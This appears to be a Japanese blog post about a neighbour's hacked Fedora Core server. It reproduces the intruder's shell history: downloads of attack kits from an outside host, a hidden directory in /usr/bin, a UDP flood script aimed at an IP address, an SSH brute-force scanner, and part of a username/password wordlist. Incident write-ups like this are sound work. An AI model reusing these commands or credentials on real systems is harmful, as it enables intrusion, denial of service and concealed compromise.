No614 Linuxハックされました

最新情報をお届けします。

ご近所のFedora coreが
ハックされていました。
/root/.bash_historyに次のようなログが残っていました。
おかげで、IPアドレス212.xxx.xxx.xxxと88.xxx.xxx.xxxからは
SSHでアタックしてくるのはやめてくれというクレームがきておりましたが。

cat /proc/cpuinfo
ls -a
cd /usr/bin
mkdir ." "
cd ." "
wget hackworld.icspace.net/x.tgz
tar zxvf x.tgz
rm -rf x.tgz
perl udp.pl 92.80.203.253 0 0
w
ls -a
wget hackworld.icspace.net/t/god.tgz
wget hackworld.icspace.net/t/a.tgz
tar zxvf a.tgz
rm -rf a.tgz
tar zxvf god.tgz
rm -rf god.tgz
cd a
mv pass_file ../.ssh
ls -a
cd ..
rm -rf a
cd .ssh
ls -a
chmod +x *
rm -rf bios.txt
rm -rf mfu.txt
touch mfu.txt
touch bios.txt
screen
./screen
exit
w
screen -r
cd /usr/bin/." "/.ssh
cat vuln.txt
nano vuln.txt
exit
./spd 88
./spd 212

もちろん、/usr/binには
. . .. というディレクトリができております。
ちょっと見には見過ごしてしまいそうです。
pass_fileはこんな感じ
==> pass_file <==
root admin
root apple
apple apple
root brian
brian brian
root andrew
andrew andrew
root newsroom
newsroom newsroom
root magazine

vuln.txtにはSSHでつながるIPアドレスと
ユーザ名・パスワードが入っていました。
昔、同じようにハックされたマシンのhistoryを見てたら、
picoというコマンドを使っていました。エディタソフトだそうです。
今回はnanoというコマンドです。picoのお友達ソフトだとのこと。
確かにお友達らしい名前です。